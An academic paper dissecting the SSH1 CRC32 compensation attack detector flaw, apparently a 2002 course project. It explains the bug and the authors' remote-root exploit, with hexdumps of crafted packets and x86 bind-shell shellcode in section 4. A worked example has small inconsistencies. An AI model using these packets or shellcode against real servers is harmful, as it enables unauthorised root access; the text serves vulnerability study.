SSH1 remote root exploit
sshd CRC32 compensation attack detector vulnerability explained
March 26, 2002
Korpinen Pekka, 48179S
pkorpine@cc.hut.fi
Department of Electrical Engineering
Lyytikäinen Kalle, 47992V
kalyytik@cc.hut.fi
Department of Computer Science
Helsinki University of Technology
This paper is an analysis of a security weakness in many SSH1 server implementations. Ssh servers introduced a detection mechanism against CRC32 compensation attack. this detection function includes a design fault which enables remote hosts to write arbitrary values to server memory. The authors reverse engineered a proprietary exploit implementation and wrote their own implementation of the exploit. This paper describes the vulnerability, the exploitation process, the author's exploit implementation, and means for protecting hosts against this attack. This paper is also a project for the course 'Tik-110.452 Tietojärjestelmien käytännön turvallisuuden erikoiskurssi' at Helsinki University of Technology.
0 Table of Contents
1 Introduction - SSH protocol
2 Vulnerability in SSH1.5
2.1 Buffer overflow
2.2 Preconditions - Affected ssh daemons
2.3 Linux memory layout
3 Exploits
3.1 First incidents
3.2 Problems
3.3 Available implementations
3.4 Shellcode
4 Our exploit
4.1 Goals
4.2 Resources
4.3 Process
4.3.1 Reverse Engineering
4.3.2 Packet sending
4.3.3 Finding distance to 'buf'
4.3.4 Finding distance to kernel space
4.3.5 Sending shellcode
4.3.6 Executing shellcode
4.4 Using exploit
4.5 Advantages and Disadvantages
5 Counter actions
5.1 Detecting attacks
5.2 Required actions after being attacked
5.3 Preventive actions
6 References
7 Appendices
7.1 Shellcode
7.2 Exploit usage
7.3 Source code files for the exploit
7.3.1 packet.diff
7.3.2 uxp2.c
1 Introduction - SSH protocol
The SSH (Secure Shell) protocol provides a standardized way to communicate on a secured channel. All communications between SSH client and SSH daemon are encrypted. The encryption is done using a symmetric cipher (DES, 3DES and Blowfish, for example). The encryption key is exchanged at the beginning of the connection using RSA keys.
The (SSH) client creates a connection to the (SSH) server which is listening on a specific port, usually 22. The server accepts the connection and responds by sending back its version identification string. The client sends its own identification. After both sides have been identificated they switch to a packet based binary protocol. The server sends its host key. The host key is a unique RSA key used to authenticate the host and it is regenerated every hour. The client generates a 256 bit session key, encrypts it using both RSA keys, and sends the encrypted session key and selected cipher type to the server. Now both sides turn on encryption using the selected encryption algorithm and key. Finally the server sends an encrypted confirmation message. At this point the channel is secured. The client then tries to authenticate itself using any of the available authentication methods (password, RSA authentication etc). After successful authentication, the client can allocate a pseudo tty, start port forwarding, or execute a shell command [23].
When the client or the server receives an encrypted packet, it checks if the packet is tampered with using the crc32 compensation attack detector. The detection algorithm checks the packet before it is parsed in any way. The first case when this algorithm is used is when the client sends its authentication request.
Maximum packet length is about 256k bytes.
2 Vulnerability in SSH1.5
The crc32 compensation attack detector in various SSH versions has a bug that allows an evil attacker to write to memory locations on the server side. If the packets are smartly constructed, they may allow code to be executed on the server side. Because the server is usually being run under the root account, this vulnerability gives the attacker root access to the host.
The memory writing and running a code on the host can be inspected as the casual buffer overflow exploits even though in this case the buffer overflow is not such straightforward to do as usually.
2.1 Buffer overflow
Buffer overflow exploits are based on the fact that the return address of currently running function is kept on the stack. When a function wants to make a function call, it pushes its current instruction pointer to the stack (among other possible data) and jumps to the address of the callee. When the callee reaches it's end (e.g. return-clause in C) it retrieves the stored instruction pointer from the stack and makes a jump to it. Now the caller can continue it's execution. If the return address is manipulated during the execution of the callee, the point of execution is transferred to a different location when the callee returns. This makes the running of inserted code possible.
If we are inserting data on a statically allocated buffer we must be sure that the buffer can hold the all data (e.g. strlen(data) < strlen(buffer)). Usually progammer's won't check the length of the source because they are making assumptions of the length. If the source's length is greater than the buffer size, the buffer is overflown. Because the statically allocated buffers are usually kept on the stack, this allows the source data to overwrite the return address.
[Example:] If a program has a buffer, say 128 bytes in length. The program reads an argument from the command-line. The argument is supposedly be a password, so the 128 bytes is surely enough - no need to check. The main function calls a subfunction with the command line parameter as an in-argument. The subfunction has the mentioned buffer and it simply copies the argument to the buffer (without length checking!). This works ok if the source length is below 128 bytes. An evil attacker could overflow the buffer easily because of the lack of checks. He runs the program with an argument that is longer than 128 bytes. This causes the buffer to overflow.
The argument:
[NNNNNNNNNSSSSSSSSSSSJJJJJJJJJJJJJJJJJJJJJJJ]
The buffer in the stack with the return address:
[xxxxxxxxxxxxxxxxxxxxxxx]....[RET]...
The buffer after overflow:
[NNNNNNNNNSSSSSSSSSSSJJJ]....[ J ]...
The return address is overwritten with a value J. The specific location of the return address is unknown to the attacker. He can make a so-called NOP sled (marked as N) before the actual shellcode (S). NOP is a special instruction that doesn't do anything. In this way, the jump can be a guess and if the jump lands on the NOP sled, it slides to the beginning of the actual shellcode.
When the sub-function is ready to return (and when the return address is accidentally overwritten!), the program jumps to the address specified on the return address field in the stack. The point of execution is now pointing on the NOP sled and the shellcode is executed. The shellcode can now for example open a new shell or a telnetable back port on the host. This is all done on the same account as the program was run. [End of example] [1]
2.2 Preconditions - Affected ssh daemons
The following versions are reported to be vulnerable:
SSH-1.5-1.2.24 .. 31
SSH-1.5-1.3.6 .. 10
SSH-1.5-1.3.6
SSH-1.5-OpenSSH-1.2
SSH-1.5-OpenSSH-1.2.1
SSH-1.5-OpenSSH-1.2.2
SSH-1.5-OpenSSH-1.2.3
SSH-1.99-2.0.11 (with Version 1 fallback)
SSH-1.99-2.0.12 (with Version 1 fallback)
SSH-1.99-2.0.13 (with Version 1 fallback)
SSH-1.99-2.1.0.pl2 (with Version 1 fallback)
SSH-1.99-2.1.0 (with Version 1 fallback)
SSH-1.99-2.2.0 (with Version 1 fallback)
SSH-1.99-2.3.0 (with Version 1 fallback)
SSH-1.99-2.4.0 (with Version 1 fallback)
SSH-1.99-3.0.0 (with Version 1 fallback)
SSH-1.99-3.0.1 (with Version 1 fallback)
SSH-1.5-OpenSSH-2.1
SSH-1.5-OpenSSH_2.1.1
SSH-1.5-OpenSSH_2.2.0
SSH-1.5-OpenSSH_2.2.0p1
One can check the vulnerability by sending a long enough login name with a client (Note. newest clients check the length by themselves). If the server just crashes, the server is vulnerable. Long enough is 88 000 characters.
There also exists a perl script that does the checking automatically. [2]
2.3 Linux memory layout
The linux memory layout is in crucial role in this exploit. One must know something about the architecture. The figure below shows the general layout of the memory seen by an user process:
top of memory
0xffff ffff ____________________
| |
| KERNEL | No read/write
|____________________|
0xc000 0000 | |
| STACK | read/write
|____________________|
| |
| LIBRARIES |
0x4000 0000 |____________________|
| |
| HEAP | read/write (malloc)
|____________________|
| |
| BSS | read/write
|____________________|
| |
| DATA | read/write
|____________________|
| |
| TEXT (aka CODE) | read, no write
0x0800 0000 |____________________|
| |
| KERNEL | No read/write
|____________________|
0x0000 00000
bottom of memory
The addresses are in the absolute form. The stack grows down (i.e. to smaller addresses) and heap grows up. Dynamically allocated arrays are created on heap (size < 128kB, address are form of 0x080x xxxx) or on the library area (size > 128kB, address are form of 0x400x xxxx). The addresses of specific variables and functions during the run may vary a bit from host to host but the addresses mentioned on the figure are constants.
On linux process's memory map can be seen by running cat /proc//maps. It displays addresses, sizes, attributes (read, write, execute), and the sources of loaded programs and libraries. The readelf utility can be used to see how the linker has organized the objects. [3] [4]
3 Exploits
The exploit is based entirely on the detect_attack() function in the SSH implementation. The function should detect the crc32 compensation attack but it introduces another security vulnerability.
Critical parts of the detect_attack() function:
--------------------------------------------------------
int detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
..
static u_int16_t *h = (u_int16_t *) NULL;
static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
register u_int32_t i, j;
u_int32_t l;
..
#1 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
;
if (h == NULL) {
debug("Installing crc compensation attack detector.");
#2 n = l;
h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
} else {
..
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
#3 for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
i = (i + 1) & (n - 1)) {
if (h[i] == HASH_IV) {
if (!CMP(c, IV)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
#4 } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
}
#5 h[i] = j;
}
return (DEATTACK_OK);
}
--------------------------------------------------------
The function is called after each received SSH packet. The 'buf' argument is the buffer where incoming (encrypted) packet's payload is located, 'len' is the length of the buffer (note: the length is delivered on the ssh-packet, so the actual buffer could be longer). The 'IV' is always NULL.
The problem resides on the #2 where a 32-bit integer ('l') is assigned on a 16-bit integer ('n'). If the lower word of the 'l' is zero, the 'n' is assigned to zero. The 'l' is calculated on #1, and is dependant on the 'len' variable. If the 'len' is bigger than about 88000, the 'n' is set to zero.
Then the 'h' is allocated with call to malloc and the requested becomes to zero because n==0. The allocated size is the minimum allocation block. This is 12 bytes in current linux platforms.
The outer for-loop (near #3) goes through the whole packets. The variable 'j' is the block number (blocks are 8 bytes long). On #3 the HASH()-macro gets the first 32-bits from the current block. Because the 'n' is zero the (n-1)-clause is evaluated as 0xffff. So, the variable 'i' has the first 32-bits of the current block.
On #5 is the assignment operation. This is where the memory can be written. The 'h' is the pointer to 16-bit values. So the "h[i] = j" clause can be expressed also with byte pointers *(h+2*i) = j Thus, the value of 'j' (the current block number) is written to a specific distance from the 'h'. Because the value of 'i' is fetched from the packet and the 'j' is the block number, the 'i' can be used as a offset value and the placement of the 'i' can be used as the value that is written to the memory.
The following figure hopefully clears the idea:
block incoming packet
number ('buf')
('j')
___________________
0000 | 00000000 xxxxxxxx |
0001 | 00000000 xxxxxxxx |
0002 | 00000000 xxxxxxxx |
0003 | 00000000 xxxxxxxx |
0004 | 00000000 xxxxxxxx |
0005 | 00000000 xxxxxxxx |
0006 | beefcafe xxxxxxxx |
....
0332 | 00000042 xxxxxxxx |
....
For example, on the 6th block:
j = 6
i = 0xbeefcafe
So, the following assignment is done:
h[i] = j; ===> h+2*i = j; ===> h+2*0x1234abcd = 6;
And on the 332th block:
j = 332
i = 0x42
h[i] = j; ===> h+2*i = j; ===> h+2*0x00000123 = 332;
Notes to remember: The value in the packet means the offset (multiplied by 2) from the address of 'h' and the place where the value is located means the value to be stored in memory [5].
The shellcode insertion is done basically with a packet like this (knowledge of the exact parameters is required):
___________________
0000 | xxxxxxxx ffffffff |
| .... |
| ZZZZZZZZ xxxxxxxx | WRITE THE VALUE TO EIP
| .... |
| ZZZZZZZZ xxxxxxxx | WRITE THE NEW VALUE TO EIP
| xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN START
| .... |
| xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN END
| 90909090 90909090 | NOP SLED
| .... |
| xxxxxxxx xxxxxxxx | SHELL CODE
|___________________|
xxxxx =
ZZZZZZZZ = (offset to the high word of the stored instruction pointer)/2,
XXXX = value of the instruction pointer (high word)
YYYY = where to jump (high word, low word stays the same)
3.1 First incidents
The vulnerability was announced on February 8th 2001. It was discovered by Michal Zaleski of the BindView RAZOR Team. [6] [7]
Even thought the vulnerability was discovered early, many site administrators didn't update their SSH daemons. The experts assumed that the possibility of the exploit were ridiculously small and that there will not be any working mass exploit engines. They were wrong. The incident below is one of the first incidents that were analysed. It clearly shows that the exploit can be used. The rumour says that the big finnish hack incidents on winter 2001-2002 were also done by using this exploit.
"On October 6, 2001, intruders originating from network blocks in the Netherlands used an exploit for the crc32 compensation attack detector vulnerability to remotely compromise a Red Hat Linux system on the UW network running OpenSSH 2.1.1." This vulnerability is described in CERT Vulnerability note VU#945216 [6]:
Once in the system, a series of operating system commands were replaced with trojan horses to provide back doors for later entry and to conceal the presence of the intruders in the system. A second SSH server was run on a high numbered port (39999/tcp). The system was then used for broad scanning (outbound from the UW network) to identify more systems running OpenSSH 2.1.1, some of which were then attacked manually." [8] [9]
3.2 Problems
As one can see after examining the detect_attack() function, the hardest problem in exploiting is the addresses of critical variables and the address of the return pointer.
A successful exploit must guess the following parameters (or some parameters that the following can be calculated from):
distance between 'h' and 'buf'
distance between 'h' and the return address on the stack
the value of the return address (higher word enough)
the absolute address of 'buf'
With these parameters the exploit is somewhat straighforward. Educated guesses can be made with the knowledge of the host (operating system, processor, linux distribution, kernel version etc). This information should be easy to gather using automated tools. The attacker could for example get the version strings of mail, ftp, http, ssh, imap, and pop servers and compare them with the default versions of some distributions. This way he can get the same SSHD daemon and maybe try it on his lab.
Part of the parameters can be find using brute force methods. The buffer 'buf' can be found using a packet that writes to a specific region of memory. Making a educated guess of the boundaries where the buffer is located and starting to write from there. If the server dies (client sees connection closing), the algorithm should change the address and start again. The server dies because of segmentation fault (i.e. writing to a read-only memory etc). If the server reports something like "invalid bytes on packet", the writing was successful and the buffer is located (on high probability).
3.3 Available implementations
The implementations of this exploit are not easy to get. We were able to find a binary exploit called shack. This can be downloaded from [10].
The source code of the binary is not available but an analysis of an attack done with this tool can be read at [11].
The shack tries to locate the parameters using couple binary searches. After it has revealed good enough estimates of memory locations, it starts the bruteforcing. The shellcode of the shack creates a root shell on the host machine and the attacker can use it to install the trojans.
We tried the shack on couple of servers running the same version of OpenSSH. One host was succesfully exploited with this, the other one wasn't. Our exploit worked for both.
Another exploit by zip/TESO should be wondering somewhere, at least there are some analysis about that: [8]
Both of the analysis are concentrated on the network traffic and detection. It is kind of disappointing that nobody has analyzed the exploits in the lower levels, or how it is done.
We used the tcpflow-program to capture the network traffic created by shack. After analyzing the traffic we were able to reverse engineer the code almost completely. The process is documented in Chapter 4 [12].
3.4 Shellcode
Shellcode means the code that the attacker wants to run on a target computer. The code creates a shell hopefully running as root account. One version of shellcode is a portshell. It creates a backdoor that listens some specific TCP port on the target machine. When the attacker telnets to the target to that port, the portshell binds a shell to the tcp stream and the attacker has his own telnet-type access (with root-account!).
The shellcode is typically ran only a few minutes. In that time the attacker tries to install his rootkits and trojans, clears the logs and traces. After that the attacker uses some ordinary access type to get to the host.
Shellcodes are always platform dependant because they are made of assembly instructions. The attacker must know what platform is on the target. Shellcodes usually don't contain any zero bytes because then they couldn't be used with strpcy() functions. For example 'mov eax,0' must be transformed as 'xor eax,eax'. This does the eax clearing but doesn't contain zero when its run through assembler.
A shellcode example (port shell) with sources can be seen at [13]
The Phrack magazine has a great article about shellcodes and buffer overflows: [1]
4 Our exploit
4.1 Goals
The meaning of our exploit project is to hijack a remote host running sshd. this is attempted using sshd's vulnerabilities discussed in Chapter 2. The goal is to be able to access the remote host with root privileges and thereby gain access to all information and controls on the target host.
4.2 Resources
ssh daemon (modified)
We used Openssh-2.2.0p1 as the victim's ssh daemon. This implementation of sshd (protocol version less than 2) was known to be vulnerable to our attack and it was easily available over the Internet. We modified the sshd for the development phase by having it print out important frame and stack information. The stack location information was helpful in fine-tuning function return address overwriting. BSS memory section's location information gave directions to finding our shellcode in memory.
After the exploit application was finished, we restored the sshd to its original state.
ssh client source code
Openssh-2.3.0p1 was used as a platform for our exploit, since we found one occasion where a similar exploit was possible with this version. However, as far as we know, any other ssh client may have been used in our exploit.
In order to have the client to send the encrypted ssh packets of our choice, we modified the client to send exactly those cipherblocks we asked it to. Usually the client takes plaintext from the user and sends its ciphertext over the network. This time we wanted to send specific ciphertext and actually we did not care about the corresponding plaintext.
We let the client do key exchange in the ordinary fashion, but when the ciphering starts and user authentication is about to begin, we send malicious packets to the victim.
Teso/Shack logs & network traffic
We acquired a similar exploit from 'Team Teso', which was successful in running the required shellcode, but only with very good initial guesses for stack and bss section locations. This implementation was very inefficient.
We found another exploit called 'shack' which is related to 'anti.security.is'. This exploit is assumed to be proprietary in the first place and for sale, but it slipped to public. Only the binary of this exploit was available. Although the logs it generates gave us hints what it was doing. Some references call this exploit the Teso-exploit, but we think that it only uses the teso-method to find a critical parameter run-time.
The 'shack' exploit was a black box to us and we conducted extended analysis of the network traffic it generated.
Shellcode
We acquired a shellcode from Anathema anathema@hack.co.za, which was used in our implementation. See appendix 7.1. This implementation will create a socket for enabling remote access, bind the socket to the process, accept connections to port 36864, and execute a shell.
4.3 Process
We created an exploit application for handling the brute force methodology of the exploit. It uses the modified ssh client to try connections to the victim, with certain intelligence. The application generates malicious packets for the victim and lets the modified ssh client send them. Depending on the output of the server, the application makes conclusions on the effects of the malicious packet. The server may return such messages as 'corrupt bytes in packet' or 'CRC32 compensation attack detected'. Although, the most frequent response is a mere connection close since the server crashes often (SEGV). These output strings are analysed and used as directions for next malicious packets. It is very typical that the connection closes after the first cipherpacket, since it is somehow malformed. For example our exploit doesn't consider CRC checksums and therefore the sshd closes the connection. Although, a lot can happen before the connection is closed…
The process itself consists of four phases, of who the last one attempts to run the shellcode.
4.3.1 Reverse Engineering
The shack exploit surprised us with its capability to find out critical addresses concerning the exploit. A utility program called 'tcpflow' and gnu debugger were used to reverse engineer the operation of the shack exploit. Tcpflow is a program which captures entire tcp connections combining all relevant packets together. This tool was crucial in succeeding to make a working exploit.
Hexdump was used to interpret the data in readable format:
hexdump -e '"%07.7_ax " 16/1 "%02x " "n"' -s 0xb8 192.168.001.010.03164-192.168.001.001.02222 | less
Gdb was used to diagnose various erroneous states and in confirming memory address calculations.
4.3.2 Packet sending
We modified the packet.c source file in such a way that the client sends dedicated cipherpackets we ask it to. Packet.c includes a function definition for packet_write_poll() which is used to write the ciphertext to outgoing buffer. Our modified implementation reads the desired cipherpacket from a file '/tmp/exploit_packet' and sends it. These packet files are written by our exploit application.
4.3.3 Finding distance to 'buf'
The first thing that can be calculated in the server's memory addresses is the distance from variable h to variable buf (according to detect_attack() function). The following format of cipherpacket was used to search for the distance from h to buf:
Extract from packet #1:
00000b8 00 00 00 00 ff ff ff ff 00 00 00 01 ff ff ff ff
00000c8 00 00 00 04 ff ff ff ff 00 00 00 05 ff ff ff ff
00000d8 00 00 00 08 ff ff ff ff 00 00 00 09 ff ff ff ff
00000e8 00 00 00 0c ff ff ff ff 00 00 00 0d ff ff ff ff
00000f8 00 00 00 10 ff ff ff ff 00 00 00 11 ff ff ff ff
...
This is the first type of packet that our exploit uses. It consists of 184-byte header and 102400 bytes 8-byte blocks that consist of a small 32-bit number and 0xFFFF. Consecutive packets increase the small numbers. When sshd processes this kind of packet, it will set i to first 32-bits of each 8-byte block (#3 in detect_attack()). It tries to read memory at h[i] on the same line. This read will cause SEGV if i is such an offset to h that the address is not readable. SEGV also happens if buf + h[i] * 8 is unreadable. With this kind of packet, the sshd will practically always SEGV at #4 in detect_attack() when done thousands of times in a row.
The trick is to have i[small number] point always to 0xFFFF. This is same as 'HASH_UNUSED' and the memory read is skipped. The packet contains 12800 small numbers that make h[i] point to a loose array of approximately half the length of the packet. When the first small number in the packet points to the first half of the buffer, each h[i] will have value 0xFF and the memory read is skipped. It would be extremely rare to find such an array in memory in a place other than buf. Binary search is used to find the smallest small number that will not cause SEGV. A hit to buf will cause 'corrupt bytes' response from the sshd.
In the first phase, the small number is increased by packet_length / 4 so that its pointed address h[small number] points packet_length / 2 forward on each packet. This is a fast scan through the memory to find appriximate distance from h to buf. The second phase is a binary search which will find the distance accurately and reliably.
4.3.4 Finding distance to kernel space
The next memory address to find is h-to-kernel_space distance. The reason why we are interested in this distance is that the stack frame of the current process is close to the kernel space i.e. somewhere below address 0xC0000000. The stack frame is of interest since the saved EIP of the parent function is there. See Chapter 2.3. In this phase, we use a dedicated type of ssh-cipherpacket to test if h[i] is readable (#3 in detect_attack()) and small enough that 'buf + h[i] * SSH_BLOCKSIZE' is readable (#4 in detect_attack()). The stack area contains such small numbers. This packet type uses this test only once - at 0x5BFC4280 in the packet hexdump extract below. We want to test one address only and exit the process as quickly as we can. The pattern of '0x00002860 0100FFFF's is a tell-tale sign for the sshd that this packet uses CRC32 compensation attack. We want the sshd to think like this in order to close the connection right away and speed up the process. On the other hand we can now distinguish between SEGV while processing the first 8-byte ssh block and CRC32 compensation attack detected while processing the second block. This will let the attacker know if the sshd could read memory at 0x5BFC4280.
The packets our exploit sends are filled with the quess for h-to-kernel_space offset (16-bit), although it is required only in the very beginning of the packet.
000000b8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000d8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
000000e8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000000f8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000108 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000118 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000128 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000138 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000148 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
00000158 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000168 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
00000178 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
00000188 00 00 28 60 01 00 ff ff 5b fc 42 80 73 50 ff ff ; ..(`..ÿÿ[üB€sPÿÿ
00000198 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001a8 5b fc 42 80 73 50 ff ff 00 00 28 60 01 00 ff ff ; [üB€sPÿÿ..(`..ÿÿ
000001b8 00 00 28 60 01 00 ff ff 00 00 28 60 01 00 ff ff ; ..(`..ÿÿ..(`..ÿÿ
000001c8 5b fc 42 80 73 50 ff ff 5b fc 42 80 73 50 ff ff ; [üB€sPÿÿ[üB€sPÿÿ
...
Our exploit is a bit simplified version of the 'shack' implementation in this phase. Shack uses three different packet types to hunt down the h-to-stack distance with binary search. Our exploit only finds the distance from h to kernel_space. Although the difference is usually quite small and we can compensate the error in the shellcode phase. Our current implementation brute forces the distance beginning from an educated quess. It starts testing addresses way deep in the kernel space and comes down gradually and finds the lower bound of the kernel space. With this distance, we can calculate the addresses for h and buf.
4.3.4 Sending shellcode
The heart of our exploit is to send the packet that finalizes the breach to the victim host. This packet combines basically three important functions. It rewrites the saved EIP in the stack frame, exits the attack_detect() function call as quickly as possible, and when returned, executes the shellcode that lets the attacker telnet to the victim and control a root shell. The base of this packet is NOP instruction (0x90 on Intel x86 architecture) since it occupies most of this packet. Other contents are inserted where necessary. The following tcpdump extract shows what this ssh cipherpacket consists of.
000000b8 00 00 28 5d 73 50 ff ff 00 00 28 61 73 50 ff ff ; ..(]sPyy..(asPyy
000000c8 00 00 28 65 73 50 ff ff 00 00 28 69 73 50 ff ff ; ..(esPyy..(isPyy
000000d8 00 00 28 6d 73 50 ff ff 00 00 28 71 73 50 ff ff ; ..(msPyy..(qsPyy
000000e8 00 00 28 75 73 50 ff ff 00 00 28 79 73 50 ff ff ; ..(usPyy..(ysPyy
000000f8 00 00 28 7d 73 50 ff ff 00 00 28 81 73 50 ff ff ; ..(}sPyy..(sPyy
…
000040c8 00 00 48 65 73 50 ff ff 00 00 48 69 73 50 ff ff ; ..HesPyy..HisPyy
000040d8 00 00 48 6d 73 50 ff ff 00 00 48 71 73 50 ff ff ; ..HmsPyy..HqsPyy
000040e8 5b fc 2f 7f 73 50 ff ff 00 00 48 79 73 50 ff ff ; [ü/sPyy..HysPyy
000040f8 5b fc 2f 7f 73 50 ff ff 00 00 48 80 09 08 90 90 ; [ü/sPyy..H€..
00004108 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
00004118 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
00004128 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
00004138 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
00004148 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€..
00004158 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 :
00004168 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 :
00004178 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
00004188 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
00004198 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041a8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€..
000041b8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041c8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041d8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€..
000041e8 90 90 90 90 90 90 90 90 00 00 48 80 09 08 90 90 ; ..H€..
000041f8 00 00 48 80 09 08 90 90 00 00 48 80 09 08 90 90 ; ..H€.. ..H€..
00004208 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 :
…
00019028 eb 72 5e 29 c0 89 46 10 40 89 c3 89 46 0c 40 89 ; ër^)À‰F.@‰Ã‰F.@‰
00019038 46 08 8d 4e 08 b0 66 cd 80 43 c6 46 10 10 66 89 ; F.N.°fÍ€CÆF..f‰
00019048 5e 14 88 46 08 29 c0 89 c2 89 46 18 b0 90 66 89 ; ^.ˆF.)À‰Â‰F.°f‰
00019058 46 16 8d 4e 14 89 4e 0c 8d 4e 08 b0 66 cd 80 89 ; F.N.‰N.N.°fÍ€‰
00019068 5e 0c 43 43 b0 66 cd 80 89 56 0c 89 56 10 b0 66 ; ^.CC°fÍ€‰V.‰V.°f
00019078 43 cd 80 86 c3 b0 3f 29 c9 cd 80 b0 3f 41 cd 80 ; CÍ€†Ã°?)ÉÍ€°?AÍ€
00019088 b0 3f 41 cd 80 88 56 07 89 76 0c 87 f3 8d 4b 0c ; °?AÍ€ˆV.‰v.‡óK.
00019098 b0 0b cd 80 e8 89 ff ff ff 2f 62 69 6e 2f 73 68 ; °.Í€è‰yyy/bin/sh
000190a8 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ;
The first part of the packet is designed so that the for loop (before #3 in detect_attack()) increases the value of j, See Chapter 3 for more information. These blocks are filled with offsets for h to point to the following 0xFF's. This will make the for loop run quickly and smoothly until j is what we want it to be. We want j to be that value which will be written to saved_EIP. The most significant word (16-bit) of the saved_EIP is usually around 0x807. The least significant word can be whatever. Since detect_attack() will try to read memory at (buf + h[i] * SSH_BLOCKSIZE) at #4, the value we write on top of the old word in the memory cannot be very large. This means that we can only write small numbers to memory with detect_attack(). This is a reason for only writing the most significant byte of the saved_EIP, which is only about 0x807 and makes (buf + h[i] * SSH_BLOCKSIZE) readable at #4. However, this is no problem for our exploit, because our NOP sled is over 0xFFFF long and it doesn't matter what the LSW of EIP is if the MSW is correct.
When j is the desired saved_EIP_MSW (guessed), we set i to be the h-to-saved_EIP offset (guessed). Now detect_attack() will have to reach point #5 to write the new EIP with correct values of i and j. This is only possible when if clause at #4 is true and the CRC will be checked with check_crc(). This check will not generate 'CRC32 compensation attack detected' message since there is no attack pattern. On the contrary, the crc_check() will pass and the for loop is broken out of. Now h[i] will be j and detect_attack() has been exploited.
One more thing: The comparison at #4 will only pass if the block at c is the same as (buf + h[i] * SSH_BLOCKSIZE). j will be the target saved_EIP_MSW (such as 0x807) and c is (buf + j * SSH_BLOCKSIZE), so we need to fix the contents at (buf + h[i] * SSH_BLOCKSIZE) to be the same as at c. h[i] hopefully points to the MSW of saved_EIP and has a value that is the real return address for detect_attack() at this point. This is usually something like 0x805. This means that the block number 0x805 in our packet must have the same content as the block number 0x807 at hand. Therefore we need to have an exact copy of the saved_EIP_MSW writing block at 0x807. In the tcpdump above, these two blocks can be seen at 0x40E8 and at 0x40F8.
Once again, these blocks are followed by the CRC32 compensation attack pattern for exiting the outer for loop as quickly as possible. This pattern consists of 15 blocks that each include a h-to-buffer offset that points to the first block of this pattern (0x809, GET_CRC32() order). When detect_attack() processes the block number 0x809, it detects the attack and returns. By a miracle, the return address is now 0x807 and the process execution jumps to a new location, hopefully the NOP sled in the buffer.
4.3.5 Executing shellcode
Once the EIP lands on the NOP sled in buf, the execution will slide down the sled to the shellcode, where the attackers code will be executed with root privileges. The system call to execve in the shellcode will capture the ongoing process which will be bound to a tcp port.
The shellcode itself is 128 bytes long including the string that is passed to execve system call. The biggest problem of the shellcode is that it will have to know the address of the string "/bin/sh" in order to pass it as an argument to the system interrupt. For this purpose, it uses a call-pop combination to write EIP to stack and then pop it from the stack. Easy as that.
Assuming now that J stands for the JMP instruction, C for the CALL instruction, and s for the string, the execution flow would now be [1]:
Arrangement of Shellcode execution:
bottom of DDDDDDDDEEEEEEEEEEE top of
memory 89ABCDEF0123456789A memory
buffer
<------ [JSSSSSSSSSSSSSSCCss]
|^ ^|
|| ||
(1) ||_____________||
|______________| (2)
top of bottom of
stack stack
See Appendix 7.1 for details.
4.4 Using exploit
The exploit application is a command-line utility that can be run on many different platforms. In the case of Intel x86 architecture, Linux, and victim sshd version openssh-2.2.0p1, the exploit works fine with no command-line arguments whatsoever. With different platforms, some parameter need adjusting to run the exploit in sensible time span.
A user of our exploit needs:
Openssh-2.3.0 client sourcecode
packet.diff for modifying the ssh client
uxp2.c sourcecode (our exploit application)
